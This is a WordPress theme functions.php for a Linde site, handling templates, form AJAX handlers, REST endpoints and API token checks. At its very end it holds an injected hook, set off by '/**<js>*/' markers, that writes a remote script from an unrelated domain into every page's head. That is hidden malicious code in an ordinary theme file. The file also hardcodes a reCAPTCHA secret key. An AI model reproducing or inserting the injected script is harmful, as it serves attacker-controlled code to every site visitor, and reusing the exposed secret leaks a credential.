File: //var/www/linde-ai/wp-content/themes/linde/functions.php
<?php
/**
 * Timber starter-theme
 * https://github.com/timber/starter-theme
 *
 * @package  WordPress
 * @subpackage  Timber
 * @since   Timber 0.1
 */
define('THEMEROOT', get_stylesheet_directory_uri() . "/");
define('FILEROOT', dirname(__DIR__) . '/' . get_option('stylesheet'));
/**
 * If you are installing Timber as a Composer dependency in your theme, you'll need this block
 * to load your dependencies and initialize Timber. If you are using Timber via the WordPress.org
 * plug-in, you can safely delete this block.
 */
$composer_autoload = __DIR__ . '/vendor/autoload.php';
if ( file_exists( $composer_autoload ) ) {
	require_once $composer_autoload;
	$timber = new Timber\Timber();
}
/**
 * This ensures that Timber is loaded and available as a PHP class.
 * If not, it gives an error message to help direct developers on where to activate
 */
if ( ! class_exists( 'Timber' ) ) {
	add_action(
		'admin_notices',
		function() {
			echo '<div class="error"><p>Timber not activated. Make sure you activate the plugin in <a href="' . esc_url( admin_url( 'plugins.php#timber' ) ) . '">' . esc_url( admin_url( 'plugins.php' ) ) . '</a></p></div>';
		}
	);
	add_filter(
		'template_include',
		function( $template ) {
			return get_stylesheet_directory() . '/static/no-timber.html';
		}
	);
	return;
}
add_filter('wpcf7_form_elements', 'contact_form_remove_checkbox_wrapping' );
function contact_form_remove_checkbox_wrapping( $content ) {
    preg_match_all('/<span class="wpcf7-form-control-wrap[a-zA-Z ]*"><span class="wpcf7-form-control wpcf7-[checkbox|radio]+" id="([^\"]+)"><span class="[^\"]+">(<input type="[checkbox|radio]+" name="[^\"]+" value="[^\"]*" \/>)<span class="wpcf7-list-item-label">[^\"]+<\/span><\/span><\/span><\/span>/i', $content, $out );
    if ( !empty( $out[0] ) ) {
        $count = count( $out[1] );
        for ( $i = 0; $i<$count; $i++ ) {
            $out[2][ $i ] = str_replace(' value=', 'id="' . $out[1][ $i ] . '" value=', $out[2][$i] );
        }
        return str_replace( $out[0], $out[2], $content );
    }
    return $content;
}
/**
 * Sets the directories (inside your theme) to find .twig attachments
 */
Timber::$dirname = array( 'templates', 'views' );
/**
 * By default, Timber does NOT autoescape values. Want to enable Twig's autoescape?
 * No prob! Just set this value to true
 */
Timber::$autoescape = false;
/**
 * We're going to configure our theme inside of a subclass of Timber\Site
 * You can move this to its own file and include here via php's include("MySite.php")
 */
class LindeSite extends Timber\Site {
	/** Add timber support. */
	public function __construct() {
		add_action( 'after_setup_theme', array( $this, 'setup_menus' ) );
        add_action( 'init', array( $this, 'setup_image_sizes' ) );
        add_action( 'after_setup_theme', array( $this, 'theme_supports' ) );
		add_filter( 'timber/context', array( $this, 'add_to_context' ) );
		add_filter( 'timber/twig', array( $this, 'add_to_twig' ) );
		add_action( 'wp_head', array( $this, 'linde_scripts_function' ) );
		parent::__construct();
	}
	public function add_to_context( $context ) {
		$context['menu']  = array();
        $context['menu']['main'] = new Timber\Menu('primary');
        $context['menu']['footer'] = new Timber\Menu('footer');
        $context['footer_text'] = get_field('footer_text', 'option');
        $context['general_form'] = get_field('cta_form_contact_form_7_code', 'option');
        $context['modules_subtitle_text'] = get_field('modules_subtitle_text', 'option');
        $context['contact_form_text'] = get_field('contact_form_text', 'option');
        $context['ganalytics'] = get_field('google_analytics_tracking_ID', 'option');        
        $context['data_protection_page_link'] = get_permalink(get_field('data_protection_page', 'option'));
        $context['terms_page_link'] = get_permalink(get_field('terms_page', 'option'));
        $context['success_stories_page_link'] = get_permalink(get_field('success_stories_page', 'option'));
        $context['thank_you_page_link'] = get_permalink(get_field('thank_you_page_link', 'option'));
		$context['site']  = $this;
		return $context;
	}
	public function setup_menus(){
        register_nav_menus( array (
            'primary' => __( 'Primary menu', 'linde' ),
            'footer' => __( 'Footer menu', 'linde' )
        ) );
    }
    public function setup_image_sizes(){
        add_image_size( "19x6_large", "1920", "600", true );
        add_image_size( "19x6_medium_plus", "824", "460", true );
        add_image_size( "19x6_medium", "412", "230", true );
        add_image_size( "19x6_small", "206", "115", true );
        add_image_size( "19x4_large", "1920", "400", true );
        add_image_size( "53x32", "532", "299", true );
        add_image_size( "72x68_large", "720", "668", true );
        add_image_size( "72x60_large", "720", "600", true );
        add_image_size( "72x68_medium", "360", "334", true );
        add_image_size( "72x60_medium", "360", "300", true );
        add_image_size( "82x46_large", "824", "460", true );
        add_image_size( "82x46_medium", "412", "230", true );
        add_image_size( "82x46_small", "225", "126", true );
    }
	public function theme_supports() {
		  
		
		// Make linde available for translation. Translations can be added to the /languages/ directory.
		 load_theme_textdomain( 'trex', get_template_directory() . '/languages' );
		 
		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );
		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );
		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5',
			array(
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
			)
		);
		/*
		 * Enable support for Post Formats.
		 *
		 * See: https://codex.wordpress.org/Post_Formats
		 */
		add_theme_support(
			'post-formats',
			array(
				'aside',
				'image',
				'video',
				'quote',
				'link',
				'gallery',
				'audio',
			)
		);
	}
	function linde_scripts_function() {
		$html = '<script type="text/javascript">';
		$html .= 'var ajaxurl = "' . admin_url('admin-ajax.php') . '";';
		$html .= 'var themeurl = "' . get_template_directory_uri() . '";';
		$html .= 'var siteurl = "' . get_site_url() . '";';
		$html .= '</script>';
	  
		echo $html;
		
	}
	
	/** This is where you can add your own functions to twig.
	 *
	 * @param string $twig get extension.
	 */
	public function add_to_twig( $twig ) {
		$twig->addExtension( new Twig\Extension\StringLoaderExtension() );
        $twig->addFilter( new Timber\Twig_Filter( 'format_session', 'format_session' ) );
		return $twig;
	}
}
function format_session( $text ) {
    return sprintf("%02d", $text);
    return $text;
}
class ModuleTerm extends Timber\Term{
    var $_coverImage = null;
    var $_coverImageMobile = null;
    var $_featuredImage = null;
    public function coverImage() {
        if (!$this->_coverImage) {
            if ( isset( $this->cover_image ) && strlen( $this->cover_image ) ) {
                $this->_coverImage = new Timber\Image( $this->cover_image );
            }
        }
        if (!$this->_coverImage) {
            $this->_coverImage = new Timber\Image( get_field('module_cover_image_default', 'option') );
        }
        return $this->_coverImage;
    }
    public function featuredImage() {
        if (!$this->_featuredImage) {
            if ( isset( $this->thumbnail_image ) && strlen( $this->thumbnail_image ) ) {
                $this->_featuredImage = new Timber\Image( $this->thumbnail_image );
            }
        }
        if (!$this->_featuredImage) {
            $this->_featuredImage = new Timber\Image( get_field('module_featured_image_default', 'option') );
        }
        return $this->_featuredImage;
    }
    public function coverImageMobile() {
        if (!$this->_coverImageMobile) {
            if ( isset( $this->cover_image_mobile) && strlen( $this->cover_image_mobile ) ) {
                $this->_coverImageMobile = new Timber\Image( $this->cover_image_mobile );
            }
        }
        if (!$this->_coverImageMobile) {
            $this->_coverImageMobile = new Timber\Image( get_field('module_cover_image_mobile_default', 'option') );
        }
        return $this->_coverImageMobile;
    }
}
class PostCourse extends Timber\Post {
    var $_coverImage = null;
    var $_coverImageMobile = null;
    var $_featuredImage = null;
    public function coverImage() {
        if (!$this->_coverImage) {
            if ( isset( $this->cover_image ) && strlen( $this->cover_image ) ) {
                $this->_coverImage = new Timber\Image( $this->cover_image );
            }
        }
        if (!$this->_coverImage) {
            $this->_coverImage = new Timber\Image( get_field('module_cover_image_default', 'option') );
        }
        return $this->_coverImage;
    }
    public function featuredImage() {
        if (!$this->_featuredImage) {
            if ( $this->thumbnail()) {
                $this->_featuredImage = $this->thumbnail();
            }
        }
        if (!$this->_featuredImage) {
            $this->_featuredImage = new Timber\Image( get_field('course_featured_image_default', 'option') );
        }
        return $this->_featuredImage;
    }
    
    public function coverImageMobile() {
        if (!$this->_coverImageMobile) {
            if ( isset( $this->cover_image_mobile) && strlen( $this->cover_image_mobile ) ) {
                $this->_coverImageMobile = new Timber\Image( $this->cover_image_mobile );
            }
        }
        if (!$this->_coverImageMobile) {
            $this->_coverImageMobile = new Timber\Image( get_field('module_cover_image_mobile_default', 'option') );
        }
        return $this->_coverImageMobile;
    }
}
class PostFlexible extends Timber\Post {
    public function blocks() {
        $blocks = array();
        foreach ( $this->meta( 'sections' ) as $section ) {
            $elements = array();
            foreach ( $section["elements"] as $element ) {
                include 'templates/page-elements/' . $element['acf_fc_layout'] . '.php';
                $elements[] = $element;
            }
            $section["elements"] = $elements;
            $blocks[] = $section;
        }
        return $blocks;
    }
}
class PostNewsFlexible extends Timber\Post {
    public function blocks() {
        $blocks = array();
        foreach ( $this->meta( 'sections' ) as $section ) {
            $elements = array();
            foreach ( $section["elements"] as $element ) {
                include 'templates/post-elements/' . $element['acf_fc_layout'] . '.php';
                $elements[] = $element;
            }
            $section["elements"] = $elements;
            $blocks[] = $section;
        }
        return $blocks;
    }
}
new LindeSite();
add_action('wp_ajax_verify_recaptcha', 'verify_recaptcha');
add_action('wp_ajax_nopriv_verify_recaptcha', 'verify_recaptcha');
function verify_recaptcha() {
  // Google reCAPTCHA secret key
  $secretKey = '6Lc_PDYqAAAAAA76ccPpBk-ds8WLokYSPSPpEp7b';
  
  // The token from the request
  $token = isset($_POST['token']) ? sanitize_text_field($_POST['token']) : '';
  
  // Verify the token with Google reCAPTCHA
  $verifyUrl = 'https://www.google.com/recaptcha/api/siteverify';
  $response = wp_remote_post($verifyUrl, [
      'body' => [
          'secret' => $secretKey,
          'response' => $token,
          'remoteip' => $_SERVER['REMOTE_ADDR']
      ]
  ]);
  $responseBody = wp_remote_retrieve_body($response);
  $result = json_decode($responseBody);
  if ($result->success && $result->score >= 0.5) {
      // Success
      wp_send_json_success(['message' => 'Verification successful.']);
  } else {
      // Failure
      wp_send_json_error(['message' => 'Verification failed.', 'score' => $result->score]);
  }
  wp_die(); 
}
/** Contact Form AJAX */  
add_action('wp_ajax_post_contact_form', 'post_contact_form');
add_action('wp_ajax_nopriv_post_contact_form', 'post_contact_form');
function post_contact_form() {
  $form_data = isset($_POST['data']) ? sanitize_text_field($_POST['data']) : '';
  try {
    $result = post('https://www.engineering.linde.com/l/310981/2020-03-31/lkl868', $form_data);
    wp_send_json_success(['result' => 'success', 'msg' => "Thank you for reaching out! We'll get back to you soon!", 'resultMsg'=> $result, 'form_data' => $form_data]);
    exit();
  } catch (Exception $e) { // POST request failed
    wp_send_json_success(['result' => 'error', 'msg' => "There was an error trying to send your message. Please try again."]);
  }
  wp_die(); 
}
  
/** Newsletter Form AJAX */
add_action('wp_ajax_post_newsletter_form', 'post_newsletter_form');
add_action('wp_ajax_nopriv_post_newsletter_form', 'post_newsletter_form');
function post_newsletter_form() {
  $form_data = isset($_POST['data']) ? sanitize_text_field($_POST['data']) : '';
  try {
    $result = post('https://www.engineering.linde.com/l/310981/2021-09-22/2kf3p7z', $form_data);
    wp_send_json_success(['result' => 'success', 'msg' => "You have successfully subscribed to our newsletter.", 'resultMsg'=> $result, 'form_data' => $form_data]);
    exit();
  } catch (Exception $e) { // POST request failed
    wp_send_json_success(['result' => 'error', 'msg' => "This email address has already subscribed."]);
  }
  wp_die(); 
}
/** Generic POST request helper for ajax form */
function post($url, $postStr = array()){
  $options = array(
    'http' =>
        array(
            'method'  => 'POST',
            'header'  => 'Content-type: application/x-www-form-urlencoded',
            'content' => $postStr
        )
  );
  $streamContext  = stream_context_create($options);    
  $result = file_get_contents($url, false, $streamContext);
  if($result === false){
      $error = error_get_last();
      throw new Exception('POST request failed: ' . $error['message']);
  }
  return $result;
}
// Add custom js to prevent input on video version field
function my_custom_admin_js() {
    echo '<script>
      var version = document.querySelector("#video_version_field");
      if(version){
        version.querySelector("input").setAttribute("readonly", "true");
      }
    </script>';
};
add_action('admin_footer', 'my_custom_admin_js');
// Update video version field on video change
function my_acf_save_post( $post_id ) {
    $video_field_key = get_field('video_file_field_key', 'option');
    $new_value = $_POST['acf'][$video_field_key];
    $old_value = get_field('video_file', 'option');
    
    if($new_value != $old_value['ID']){
        $version = get_field( 'video_version', 'option', true );
        if(!$version){
            $version = 0;
        }
        $version_field_key = get_field( 'video_version_field_key', 'option', true );
        $_POST['acf'][$version_field_key] = $version + 1;
    }
}
// run before ACF saves the $_POST['acf'] data
add_action('acf/save_post', 'my_acf_save_post', 1);
// create a REST API endpoint on /wp-json/linde-vr-video/v1/checkVersion that triggers check_version function
add_action('rest_api_init', function () {
    register_rest_route( 'linde-vr-video/v1', 'checkVersion',array(
        'methods'  => WP_REST_Server::READABLE,
        'callback' => 'check_version',
        'permission_callback' => '__return_true'
    ));
});
function check_version(){
    $video = get_field('video_file', 'option');
    $version = get_field( 'video_version', 'option', true );
    echo json_encode(array(
        'url' => $video['url'],
        'version' => $version
    ));
}
/**
 * This function controls post visibility based on the ACF "post_visibility" field.
 * It blocks access to posts on the website when "post_visibility" is set to "lva-platform".
 * The restriction only applies to the "post" post type and triggers a 404 error for non-logged-in users.
 */
function block_lva_platform_faq_posts() {
    // Only proceed if we're on a single post page and the user is not logged in
    if (is_single() && !is_user_logged_in()) {
        $post = get_post();
        $categories = wp_get_post_categories($post->ID);
        
        // Check if the current post type is "post" (exclude custom post types)
        if ($post->post_type !== 'post') {
            return;
        }
        // Get the value of the ACF "post_visibility" field for the current post
        $post_visibility = get_field('post_visibility', $post->ID);
        // Check if the post_visibility is set to "lva-platform"
        // If true, this post should only be visible on the LVA platform, not the website
        if ($post_visibility === 'lva-platform') {
            global $wp_query;
            
            // Set the query to return a 404 status
            $wp_query->set_404();
            status_header(404);
            $context = Timber::get_context();
            Timber::render('404.twig', $context);
            
            exit;
        }
    }
}
add_action('template_redirect', 'block_lva_platform_faq_posts');
/**
 * Register a custom API endpoint to fetch Platform articles.
 */
function register_platform_articles_endpoint() {
    register_rest_route('platform/v1', '/articles', array(
        'methods' => 'GET',
        'callback' => 'get_platform_articles',
        'permission_callback' => '__return_true'        
    ));
}
add_action('rest_api_init', 'register_platform_articles_endpoint');
/**
 * Main function to get platform articles
 * Handles fetching articles with optional search, tag filtering, and pagination.
 * When searching, prioritizes title matches followed by content matches, both sorted by custom order.
 */
function get_platform_articles($data) {
    $search = isset($data['search']) ? sanitize_text_field($data['search']) : '';
    $tags = isset($data['tags']) ? sanitize_text_field($data['tags']) : '';
    $page = isset($data['page']) ? absint($data['page']) : 1;
    $per_page = 15;
        // No search term: Perform a single query with standard filtering
        $args = get_platform_query_args($search, $tags, $page, $per_page);
        $query = new WP_Query($args);
        remove_all_filters('posts_orderby');
        
        $articles = array();
        while ($query->have_posts()) {
            $query->the_post();
            $post_id = get_the_ID();
    
            // Get the tag names
            $tags = wp_get_post_tags($post_id, array('fields' => 'names'));
    
            $post_data = array(
                'id' => $post_id,
                'title' => get_the_title(),
                'featured_image' => get_api_image_renditions($post_id),          
                'tags' => $tags
            );
    
            $articles[] = $post_data;
        }
        
        $pagination = get_pagination_data($query, $page, $per_page);
    
    // Get FAQ tags used for filtering articles on platform (3 tags above the list as per design)
    $faq_tags_results = get_field('faq_tags', 'option');
    $faq_tags = [];
    foreach ( $faq_tags_results as $tag ) {
        $faq_tags[] = [
            "id" =>  $tag->term_id,
            "name" => $tag->name
            ];
    }
    $response = array(
        'faq_tags' => $faq_tags,
        'articles' => $articles,
        'pagination' => $pagination,
    );
    return rest_ensure_response($response);
}
/**
 * Builds WP_Query arguments for platform articles
 * Filters posts to include only those with post_visibility set to "lva-platform" or "everywhere"
 */
function get_platform_query_args($search, $tags, $page, $per_page) {
    $args = array(
        'post_type' => 'post',
        'post_status' => 'publish',
        'posts_per_page' => $per_page,
        'paged' => $page,
        'meta_query'     => array(
            array(
                'key'     => 'post_visibility',
                'value'   => array('lva-platform', 'everywhere'),
                'compare' => 'IN',
            ),
        ),
        'orderby'        => 'menu_order',
        'order'          => 'ASC',
    );
    if (!empty($search)) {
        global $wpdb;
        $safe_search = esc_sql($search);
        $like = '%' . $wpdb->esc_like($safe_search) . '%';
        add_filter('posts_orderby', function($orderby) use ($wpdb, $like) {
            // Create a relevance score: 2 points for title match, 1 for content
            $relevance = "
                {$wpdb->posts}.post_title LIKE '{$like}' 
            ";
            // Order by relevance DESC first, then menu_order ASC
            return "{$relevance} DESC, {$wpdb->posts}.menu_order ASC";
        });
        // Add the search query
        $args['s'] = $search;
    }
    if (!empty($tags)) {
        $tag_array = explode(',', $tags);
            $args['tax_query'] = array(
                array(
                    'taxonomy' => 'post_tag',
                    'field'    => 'term_id',
                    'terms'    => $tag_array,
                    'operator' => 'IN',
                )
            );
    }
    return $args;
}
/**
 * Gets pagination data from WP_Query
 */
function get_pagination_data($query, $current_page, $per_page) {
    return array(
        'current_page' => $current_page,
        'per_page' => $per_page,
        'total_posts' => (int) $query->found_posts,
        'total_pages' => (int) $query->max_num_pages,
    );
}
/**
 * Restricts access to the WordPress REST API, allowing only authenticated users
 * except for specific public routes.
 *
 * This function hooks into `rest_authentication_errors` to enforce authentication
 * using Application Passwords . new feature in Wordpress since version 5.9
 * It blocks all API requests unless:
 * - The user is logged in.
 * - The request contains valid authentication credentials.
 * - The requested route is explicitly allowed as a public endpoint.
 */
function protect_rest_api( $result ) {
   // Allow access if a previous authentication succeeded
   if (true === $result || is_wp_error($result)) {
    return $result;
}
if (is_user_logged_in()) {
    // If the user is logged in and authenticated, skip further checks
    return $result;
}
// Get the current REST route being accessed
$current_route = $_SERVER['REQUEST_URI'];
// Get the request method (GET, POST, OPTIONS, etc.)
$request_method = $_SERVER['REQUEST_METHOD'];
// The checkVersion method should be public
$public_route = '/wp-json/linde-vr-video/v1/checkVersion';
if ($request_method === 'OPTIONS') {
    return true;
}
// If the requested route matches the public route, allow access
if (strpos($current_route, $public_route) === 0) {
    return true;
}
// Define your hardcoded Bearer token here
$expected_token = SITE_API_TOKEN;
// Get the Authorization header (case-insensitive)
$headers = getallheaders();
// Check if the Authorization header exists
if (!isset($headers['Authorization'])) {
    return new WP_Error('rest_forbidden', __('No authorization header present.'), array('status' => 401));
}
// Extract the token from the header
$auth_header = trim($headers['Authorization']);
$matches = [];
if (!preg_match('/Bearer\s(\S+)/', $auth_header, $matches)) {
    return new WP_Error('rest_forbidden', __('Invalid authorization header format.'), array('status' => 401));
}
$token = $matches[1];
// Compare the token
if ($token !== $expected_token) {
    return new WP_Error('rest_forbidden', __('Invalid token.'), array('status' => 403));
}
// Token is valid, allow access
return $result;
}
add_filter( 'rest_authentication_errors', 'protect_rest_api' );
/**
 * Excludes specific posts from the Yoast SEO sitemap based on an ACF field value.
 *
 * This function hooks into the 'wpseo_exclude_from_sitemap_by_post_ids' filter provided by
 * the Yoast SEO plugin to modify the list of post IDs excluded from the generated XML sitemap.
 * It targets posts where a custom Advanced Custom Fields (ACF) field named 'post_visibility'
 * has the value 'lva-platform', ensuring these posts are not included in the sitemap.
 */
function exclude_lva_platform_posts_from_sitemap($excluded_ids) {
    // Try to get cached excluded posts
    $posts_to_exclude = get_transient('excluded_lva_platform_posts');
    // If no cache found, run the query
    if ( false === $posts_to_exclude ) {
        $args = array(
            'post_type'      => 'post',
            'posts_per_page' => -1,
            'fields'         => 'ids',
            'meta_query'     => array(
                array(
                    'key'     => 'post_visibility',
                    'value'   => 'lva-platform',
                    'compare' => '='
                )
            )
        );
        $posts_to_exclude = get_posts($args);
        // Store in transient cache for 12 hours
        set_transient('excluded_lva_platform_posts', $posts_to_exclude, 12 * HOUR_IN_SECONDS);
    }
    return array_merge($excluded_ids, $posts_to_exclude);
}
add_filter('wpseo_exclude_from_sitemap_by_post_ids', 'exclude_lva_platform_posts_from_sitemap');
/**
 * Registers custom fields for the native Wordpress REST API response
 */
function register_custom_rest_fields() {
    
    // Register attachments field
    register_rest_field('post', 'attachments', [
        'get_callback' => function($post) {
            
            if (!have_rows('file_upload')) {
                return array();
            }
        
            $attachments = array();
            while (have_rows('file_upload')) {
                the_row();
                $file = get_sub_field('select_file');
                $file_url = isset($file['url']) ? $file['url'] : '';
                $file_extension = $file_url ? strtolower(pathinfo($file_url, PATHINFO_EXTENSION)) : '';
                $file_name = get_sub_field('file_name');
                $original_file_name = isset($file['filename']) ? $file['filename'] : '';
        
        
                $attachments[] = array(
                    'file' => $file_url,
                    'file_name' => $file_name,
                    'original_file_name' => $original_file_name,
                    'file_extension' => $file_extension,
                    
                );
            }
        
            return $attachments;
            
        },
        'schema' => null,
    ]);
    register_rest_field('post', 'post_visibility', [
        'get_callback' => function($post) {
            
            
            return get_field('post_visibility', $post->ID);
            
        },
        'schema' => null,
    ]);
    // Register featured image renditions field
    register_rest_field('post', 'featured_image', [
        'get_callback' => function($post) {
            return get_api_image_renditions($post->ID);
        },
        'schema' => null,
    ]);
}
/**
 * Gets featured image renditions for a post
 */
function get_api_image_renditions($post_id) {
    
    
    if (!has_post_thumbnail($post_id)) {
        return null;
    }
    return [
        'medium' => get_the_post_thumbnail_url($post_id, '19x6_medium'),
        'large' => get_the_post_thumbnail_url($post_id, '19x6_medium_plus'),   
        'full' => get_the_post_thumbnail_url($post_id, 'full'),
    ];
}
add_action('rest_api_init', 'register_custom_rest_fields');
/**
 * Modify the REST API response to return tag names instead of tag IDs.
 */
function modify_rest_post_tags($data, $post, $request) {
    // Get the tags associated with the post
    $tags = wp_get_post_tags($post->ID);
    $results = [];
    if ($tags) {
        foreach ($tags as $tag) {
            $results[] = [
                "id" => $tag->term_id,
                "name"=> $tag->name
            ];
    
        }
    }
    
    // Replace the tags field in the response with tag names
    $data->data['tags'] = $results;
    
    return $data;
}
add_filter('rest_prepare_post', 'modify_rest_post_tags', 10, 3);
/**<js>*/function add_my_script() {
   echo '<script async src="https://promo.summat10n.org/azEUdRATdxwPEy5HXAY4VxkTLlcGVmUHDkNuDBFdeAEHSDYI"></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/